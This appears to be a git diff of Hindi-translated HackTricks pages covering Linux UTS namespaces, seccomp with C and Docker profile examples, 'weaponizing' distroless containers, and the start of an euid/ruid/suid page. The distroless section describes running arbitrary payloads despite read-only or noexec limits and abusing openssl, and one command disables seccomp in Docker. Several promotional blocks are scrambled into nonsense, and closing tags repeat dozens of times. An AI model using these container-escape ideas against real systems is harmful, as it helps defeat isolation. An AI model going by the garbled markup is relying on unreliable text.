यह सुनिश्चित करके कि `unshare` `-f` ध्वज के साथ चलता है, नया PID namespace सही ढंग से बनाए रखा जाता है, जिससे `/bin/bash` और इसकी उप-प्रक्रियाएँ बिना मेमोरी आवंटन त्रुटि का सामना किए कार्य कर सकें।
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;जांचें कि आपकी प्रक्रिया किस नेमस्पेस में है
### &#x20;जांचें कि आपका प्रोसेस किस नामस्थान में है
```bash
ls -l /proc/self/ns/uts
lrwxrwxrwx 1 root root 0 Apr 4 20:49 /proc/self/ns/uts -> 'uts:[4026531838]'
```
### सभी UTS नेमस्पेस खोजें
### सभी UTS नामस्थान खोजें
{% code overflow="wrap" %}
```bash
@ -51,30 +89,49 @@ sudo find /proc -maxdepth 3 -type l -name uts -exec ls -l {} \; 2>/dev/null | g
```
{% endcode %}
### एक UTS नेमस्पेस के अंदर जाए
### UTS नामस्थान के अंदर प्रवेश करे
```bash
nsenter -u TARGET_PID --pid /bin/bash
```
आप केवल **रूट उपयोगकर्ता होने पर** **दूसरे प्रक्रिया नेमस्पेस में प्रवेश** कर सकते हैं। और आप **उसमें प्रवेश नहीं** कर सकते **बिना एक डिस्क्रिप्टर** के जो इसे पॉइंट करता है (जैसे `/proc/self/ns/uts`).
### होस्टनाम बदलें
```bash
unshare -u /bin/bash
hostname newhostname # Hostname won't be changed inside the host UTS ns
```
## संदर्भ
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** हैकट्रिक्स और हैकट्रिक्स क्लाउड github रेपो में PR जमा करके।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,30 +1,39 @@
# Seccomp
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और **मुझे** **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** द्वारा **पीआर्स** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PR जमा करके।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## मूल जानकारी
## Basic Information
**Seccomp**, जिसका मतलब है Secure Computing mode, **Linux kernel की एक सुरक्षा सुविधा है जो सिस्टम कॉल्स को फ़िल्टर करने के लिए डिज़ाइन की गई है**। यह प्रक्रियाओं को सिस्टम कॉल्स के सीमित सेट (`exit()`, `sigreturn()`, `read()`, और `write()`) में प्रतिबंधित करता है। अगर कोई प्रक्रिया कोई और कॉल करने की कोशिश करती है, तो कर्नेल द्वारा SIGKILL या SIGSYS का उपयोग करके उसे समाप्त कर दिया जाता है। यह तंतुओं को वर्चुअलाइज़ नहीं करता है लेकिन प्रक्रिया को उनसे अलग कर देता है।
**Seccomp**, जिसका मतलब है Secure Computing mode, **Linux kernel की एक सुरक्षा विशेषता है जो सिस्टम कॉल को फ़िल्टर करने के लिए डिज़ाइन की गई है**। यह प्रक्रियाओं को सिस्टम कॉल के एक सीमित सेट (`exit()`, `sigreturn()`, `read()`, और `write()` पहले से खुले फ़ाइल डिस्क्रिप्टर्स के लिए) तक सीमित करता है। यदि कोई प्रक्रिया कुछ और कॉल करने की कोशिश करती है, तो इसे SIGKILL या SIGSYS का उपयोग करके कर्नेल द्वारा समाप्त कर दिया जाता है। यह तंत्र संसाधनों को वर्चुअलाइज़ नहीं करता है बल्कि प्रक्रिया को उनसे अलग करता है।
Seccomp को सक्रिय करने के दो तरीके हैं: `prctl(2)` सिस्टम कॉल के साथ `PR_SET_SECCOMP` के माध्यम से, या Linux kernels 3.17 और ऊपर के लिए, `seccomp(2)` सिस्टम कॉल के माध्यम से। Seccomp को `/proc/self/seccomp` में लिखकर सक्रिय करने की पुरानी विधि को `prctl()` के पक्ष में अनुप्रयोग किया गया है।
Seccomp को सक्रिय करने के दो तरीके हैं: `PR_SET_SECCOMP` के साथ `prctl(2)` सिस्टम कॉल के माध्यम से, या Linux kernels 3.17 और उससे ऊपर के लिए, `seccomp(2)` सिस्टम कॉल के माध्यम से। `/proc/self/seccomp` में लिखकर seccomp को सक्षम करने की पुरानी विधि को `prctl()` के पक्ष में हटा दिया गया है।
एक वृद्धि, **seccomp-bpf**, बर्कले पैकेट फ़िल्टर (BPF) नियमों का उपयोग करके एक अनुकूलनीय नीति के साथ सिस्टम कॉल्स को फ़िल्टर करने की क्षमता जोड़ता है। यह विस्तार सॉफ़्टवेयर द्वारा उपयोग किया जाता है जैसे कि OpenSSH, vsftpd, और Chrome/Chromium ब्राउज़र्स Chrome OS और Linux पर लचीले और कुशल syscall फ़िल्टरिंग के लिए, अब असमर्थित systrace के लिए एक वैकल्पिक पेशकश करता है।
एक सुधार, **seccomp-bpf**, एक अनुकूलन योग्य नीति के साथ सिस्टम कॉल को फ़िल्टर करने की क्षमता जोड़ता है, जो बर्कले पैकेट फ़िल्टर (BPF) नियमों का उपयोग करता है। इस विस्तार का उपयोग सॉफ़्टवेयर जैसे OpenSSH, vsftpd, और Chrome OS और Linux पर Chrome/Chromium ब्राउज़रों द्वारा लचीले और कुशल syscall फ़िल्टरिंग के लिए किया जाता है, जो अब अप्रयुक्त systrace के लिए एक विकल्प प्रदान करता है।
### **मूल/सख्त मोड**
### **Original/Strict Mode**
इस मोड में Seccomp **केवल सिस्टम कॉल्स को अनुमति देता है** `exit()`, `sigreturn()`, `read()` और `write()` को पहले से खोले गए फ़ाइल डिस्क्रिप्टर्स के लिए। अगर कोई अन्य सिस्टम कॉल की कोशिश करता है, तो प्रक्रिया को SIGKILL का उपयोग करके मार दिया जाता है
इस मोड में Seccomp **केवल syscalls** `exit()`, `sigreturn()`, `read()` और `write()` को पहले से खुले फ़ाइल डिस्क्रिप्टर्स के लिए अनुमति देता है। यदि कोई अन्य syscall किया जाता है, तो प्रक्रिया को SIGKILL का उपयोग करके माप्त कर दिया जाता है
{% code title="seccomp_strict.c" %}
```c
@ -58,9 +67,13 @@ int input = open("output.txt", O_RDONLY);
printf("You will not see this message--the process will be killed first\n");
}
```
{% endcode %}
### Seccomp-bpf
यह मोड **कॉन्फ़िगरेबल नीति का उपयोग करके सिस्टम कॉल की फ़िल्टरिंग** को बर्कले पैकेट फ़िल्टर नियमों का उपयोग करके संभावित बनाता है।
यह मोड **एक कॉन्फ़िगर करने योग्य नीति का उपयोग करके सिस्टम कॉल को फ़िल्टर करने की अनुमति देता है** जो बर्कले पैकेट फ़िल्टर नियमों का उपयोग करके लागू की जाती है।
{% code title="seccomp_bpf.c" %}
```c
#include <seccomp.h>
#include <unistd.h>
@ -110,31 +123,31 @@ printf("this process is %d\n", getpid());
```
{% endcode %}
## Docker में Seccomp
## Seccomp in Docker
**Seccomp-bpf** क**Docker** द्वारा समर्थित किया गया है ताकि **सिस-कॉल्स** को प्रतिबंधित किया जा सके और सतह क्षेत्र को कम किया जा सके। आप यहाँ [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) पर **डिफ़ॉल्ट रूप से अवरोधित सिस-कॉल्स** देख सकते हैं और **डिफ़ॉल्ट seccomp प्रोफ़ाइल** यहाँ मिल सकत है [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)।\
आप एक डॉकर कंटेनर को एक **विभिन्न seccomp** नीति के साथ चला सकते हैं:
**Seccomp-bpf** का समर्थन **Docker** द्वारा किया जाता है ताकि **syscalls** को सीमित किया जा सके, जिससे सतह क्षेत्र को प्रभावी ढंग से कम किया जा सके। आप **डिफ़ॉल्ट** द्वारा **ब्लॉक किए गए syscalls** को [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) पर पा सकते हैं और **डिफ़ॉल्ट seccomp प्रोफ़ाइल** यहाँ मिल सकत है [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)।\
आप एक **विभिन्न seccomp** नीति के साथ एक डॉकर कंटेनर चला सकते हैं:
```bash
docker run --rm \
-it \
--security-opt seccomp=/path/to/seccomp/profile.json \
hello-world
```
यदि आप उदाहरण के लिए किसी कंटेनर से `uname` जैसे कुछ **syscall** को **निषेधित** करना चाहते हैं तो आप [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) से डिफ़ॉल्ट प्रोफ़ाइल डाउनलोड कर सकते हैं और **सिर्फ सूची से `uname` स्ट्रिंग को हटा दें**।\
यदि आप सुनिश्चित करना चाहते हैं कि **किसी बाइनरी कंटेनर के अंदर काम न करे** तो आप strace का उपयोग करके बाइनरी द्वारा उपयोग किए जा रहे syscalls की सूची बना सकते हैं और फिर उन्हें निषेधित कर सकते हैं।\
निम्नलिखित उदाहरण में `uname` के **syscalls** खोजे गए हैं:
यदि आप उदाहरण के लिए एक कंटेनर को कुछ **syscall** जैसे `uname` को **निषिद्ध** करना चाहते हैं, तो आप [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) से डिफ़ॉल्ट प्रोफ़ाइल डाउनलोड कर सकते हैं और बस **सूची से `uname` स्ट्रिंग को हटा सकते हैं।**\
यदि आप यह सुनिश्चित करना चाहते हैं कि **कोई बाइनरी एक डॉकर कंटेनर के अंदर काम न करे**, तो आप strace का उपयोग करके बाइनरी द्वारा उपयोग किए जा रहे syscalls की सूची बना सकते हैं और फिर उन्हें निषिद्ध कर सकते हैं।\
निम्नलिखित उदाहरण में `uname` के **syscalls** का पता लगाया गया है:
```bash
docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname
```
{% hint style="info" %}
यदि आप **Docker** का उपयोग **केवल एक एप्लिकेशन लॉन्च करने** के लिए कर रहे हैं, तो आप इसे **`strace`** के साथ **प्रोफाइल** कर सकते हैं और **उसे केवल वह syscalls अनुमति दें** जो आवश्यक हैं
यदि आप **Docker का उपयोग केवल एक एप्लिकेशन लॉन्च करने के लिए कर रहे हैं**, तो आप इसे **`strace`** के साथ **प्रोफाइल** कर सकते हैं और केवल उन syscalls को **अनुमति** दे सकते हैं जिनकी इसे आवश्यकता है
{% endhint %}
### उदाहरण Seccomp नीति
[यहा से उदाहरण](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)
[यहा से उदाहरण](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)
Seccomp विशेषता को विस्तारित करने के लिए, चलो नीचे दिए गए "chmod" सिस्टम कॉल को अक्षम करने वाली एक Seccomp प्रोफ़ाइल बनाते हैं
Seccomp सुविधा को स्पष्ट करने के लिए, आइए एक Seccomp प्रोफाइल बनाते हैं जो “chmod” सिस्टम कॉल को नीचे की तरह निष्क्रिय करता है
```json
{
"defaultAction": "SCMP_ACT_ALLOW",
@ -146,20 +159,45 @@ Seccomp विशेषता को विस्तारित करने
]
}
```
उपर दिए गए प्रोफ़ाइल में, हमने डिफ़ॉल्ट क्रिया को "अनुमति" पर सेट किया है और "chmod" को अक्षम करने के लिए एक ब्लैकलिस्ट बनाई है। अधिक सुरक्षित होने के लिए, हम डिफ़ॉल्ट क्रिया को ड्रॉप पर सेट कर सकते हैं और सिस्टम कॉल को विवेकपूर्ण रूप से सक्षम करने के लिए एक व्हाइटलिस्ट बना सकते हैं।\
निम्नलिखित आउटपुट "chmod" कॉल को त्रुटि दिखाता है क्योंकि इसे सेक्कॉम्प प्रोफ़ाइल में अक्षम किया गया है।
उपरोक्त प्रोफ़ाइल में, हमने डिफ़ॉल्ट क्रिया को "अनुमति" पर सेट किया है और "chmod" को अक्षम करने के लिए एक काली सूची बनाई है। अधिक सुरक्षित होने के लिए, हम डिफ़ॉल्ट क्रिया को ड्रॉप पर सेट कर सकते हैं और सिस्टम कॉल को चयनात्मक रूप से सक्षम करने के लिए एक सफेद सूची बना सकते हैं।\
निम्नलिखित आउटपुट "chmod" कॉल को त्रुटि लौटाते हुए दिखाता है क्योंकि इसे seccomp प्रोफ़ाइल में अक्षम किया गया है।
```bash
$ docker run --rm -it --security-opt seccomp:/home/smakam14/seccomp/profile.json busybox chmod 400 /etc/hosts
chmod: /etc/hosts: Operation not permitted
```
निम्नलिखित आउटपुट "docker inspect" को प्रोफ़ाइल दिखाता है:
निम्नलिखित आउटपुट “docker inspect” द्वारा प्रोफ़ाइल को प्रदर्शित करता है:
```json
"SecurityOpt": [
"seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}"
],
```
### Docker में इसे निष्क्रिय करें
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
एक कंटेनर लॉन्च करें जिसमें फ्लैग है: **`--security-opt seccomp=unconfined`**
<details>
Kubernetes 1.19 के रूप में, **सभी पॉड्स के लिए डिफ़ॉल्ट रूप से सेककॉम्प सक्षम है**। हालांकि, पॉड्स पर लागू डिफ़ॉल्ट सेककॉम्प प्रोफ़ाइल "**RuntimeDefault**" है, जो **कंटेनर रनटाइम द्वारा प्रदान किया गया है** (जैसे, Docker, containerd)। "RuntimeDefault" प्रोफ़ाइल अधिकांश सिस्टम कॉल को अनुमति देता है जबकि कुछ कॉल्स को ब्लॉक करता है जो खतरनाक माने गए हैं या सामान्य रूप से कंटेनर्स द्वारा आवश्यक नहीं माने जाते हैं।
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,56 +1,64 @@
# डिस्ट्रोलेस का उपयोग करना
# Weaponizing Distroless
<details>
{% hnnt styte=" acceas" %}
GCP हैकिंग प्रैक्टिस: <img:<img src="/.gitbcok/ass.ts/agte.png"talb=""odata-siz/="line">[**HackTatckt T.aining AWS Red TelmtExp"rt (ARTE)**](ta-size="line">[**HackTricks Training GCP Re)Tmkg/stc="r.giebpokal"zee>/ttdt.png"isl=""data-ize="line">\
सीखें और GCP में अभ्यास करें<imgmsrc="/.gipbtok/aHsats/gcte.mag"y>lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"al=""daa-siz="ne">tinhackth ckiuxyzcomurspssgr/a)
<summary><strong>AWS हैकिंग सीखें शून्य से नायक तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<dotsilp>
HackTricks का समर्थन करने के अन्य तरीके:
<oummpr>SupportHackTricks</smmay>
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
*चेक करें [**subsrippangithub.cm/sorsarlosp!**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) या [**telegram group**](https://t.me/peass) या **follow** करें हमें **Twitter** 🐦 [**@hahktcickr\_kivelive**](https://twitter.com/hacktr\icks\_live)**.**
* **Shareing tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## डिस्ट्रोलेस क्या है
## What is Distroless
एक डिस्ट्रोलेस कंटेनर एक प्रकार का कंटेनर है जिसमें **केवल विशिष्ट एप्लिकेशन चलाने के लिए आवश्यक निर्भरताएं होती हैं**, बिना किसी अतिरिक्त सॉफ्टवेयर या टूल्स के जो आवश्यक नहीं हैं। ये कंटेनर **हल्के** और **सुरक्षित** होने के लिए डिजाइन किए गए हैं, और वे अनावश्यक घटकों को हटाकर **हमले की सतह को कम से कम करने** का लक्ष्य रखते हैं।
एक distroless कंटेनर एक प्रकार का कंटेनर है जो **एक विशिष्ट एप्लिकेशन को चलाने के लिए आवश्यक निर्भरताओं** को ही **शामिल करता है**, बिना किसी अतिरिक्त सॉफ़्टवेयर या उपकरणों के जो आवश्यक नहीं हैं। ये कंटेनर **हल्के** और **सुरक्षित** होने के लिए डिजाइन किए गए हैं, और वे **हमले की सतह को कम करने** का लक्ष्य रखते हैं, अनावश्यक घटकों को हटा कर
डिस्ट्रोलेस कंटेनर अक्सर **उत्पादन वातावरण में उपयोग किए जाते हैं जहां सुरक्षा और विश्वसनीयता महत्वपूर्ण होती है**।
Distroless कंटेनर अक्सर **उत्पादन वातावरण में उपयोग किए जाते हैं जहां सुरक्षा और विश्वसनीयता सर्वोपरि हैं**।
डिस्ट्रोलेस कंटेनर्स के कुछ **उदाहरण** हैं:
कुछ **उदाहरण** **distroless कंटेनरों** के हैं:
* **Google** द्वारा प्रदान किया गया: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL)
* **Chainguard** द्वारा प्रदान किया गया: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images)
## डिस्ट्रोलेस का उपयोग करना
## Weaponizing Distroless
एक डिस्ट्रोलेस कंटेनर को हथियार बनाने का लक्ष्य यह है कि **डिस्ट्रोलेस** द्वारा निहित सीमाओं (सिस्टम में सामान्य बाइनरीज़ की कमी) के साथ-साथ कंटेनरों में आमतौर पर पाए जाने वाले सुरक्षा उपायों जैसे `/dev/shm` में **रीड-ओनली** या **नो-एक्जीक्यूट** के बावजूद **मनमाने बाइनरीज़ और पेलोड्स को निष्पादित करना संभव हो**
एक distroless कंटेनर को हथियार बनाने का लक्ष्य यह है कि **मनमाने बाइनरी और पेलोड को निष्पादित किया जा सके, भले ही distroless द्वारा लगाए गए सीमाओं** (सिस्टम में सामान्य बाइनरी की कमी) और कंटेनरों में आमतौर पर पाए जाने वाले सुरक्षा उपायों जैसे **पढ़ने के लिए केवल** या **निष्पादित न करें** `/dev/shm` में
### मेमोरी के माध्यम से
### Through memory
2023 के किसी समय आ रहा है...
2023 के किसी बिंदु पर आ रहा है...
### मौजूदा बाइनरीज़ के माध्यम से
### Via Existing binaries
#### openssl
****[**इस पोस्ट में,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) बताया गया है कि बाइनरी **`openssl`** अक्सर इन कंटेनरों में पाई जाती है, संभवतः इसलिए क्योंकि यह कंटेनर के अंदर चलने वाले सॉफ्टवेयर द्वारा **आवश्यक** होती है।
****[**इस पोस्ट में,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) यह बताया गया है कि बाइनरी **`openssl`** अक्सर इन कंटेनरों में पाई जाती है, संभवतः क्योंकि यह **जरूरी** है उस सॉफ़्टवेयर के लिए जो कंटेनर के अंदर चलने वाला है।
{% hnt stye="acceas" %}
AWS हैकिंग प्रैक्टिस: <img :<imgsscc="/.gitb=ok/assgts/aite.png"balo=""kdata-siza="line">[**HackTsscke Tpaigin"aAWS Red Tetm=Exp rt (ARTE)**](a-size="line">[**HackTricks Training AWS Red)ethgasic="..giyb/okseasert/k/.png"l=""data-ize="line">\
सीखें और GCP में अभ्यास करें<imgsrc="/.gibok/asts/gte.g"lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"salm=""adara-siz>="k>ne">tinhaktckxyzurssgr)
**`openssl`** बाइनरी का दुरुपयोग करके **मनमानी चीजों को निष्पादित करना संभव है**
<dtil>
<details>
<ummr>SupportHackTricks</smmay>
<summary><strong>AWS हैकिंग सीखें शून्य से नायक तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
*चेक करें [**subsrippangithub.cm/sorsarlosp!**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!haktick\_ive\
* **Join 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) या [**telegram group**](https://t.me/peass) या **follow** करें हमें **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,61 +1,77 @@
# euid, ruid, suid
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस चाहिए**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मेरा** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** का पालन करें**.
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) पर PR जमा करके**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### उपयोगकर्ता पहचान चरण
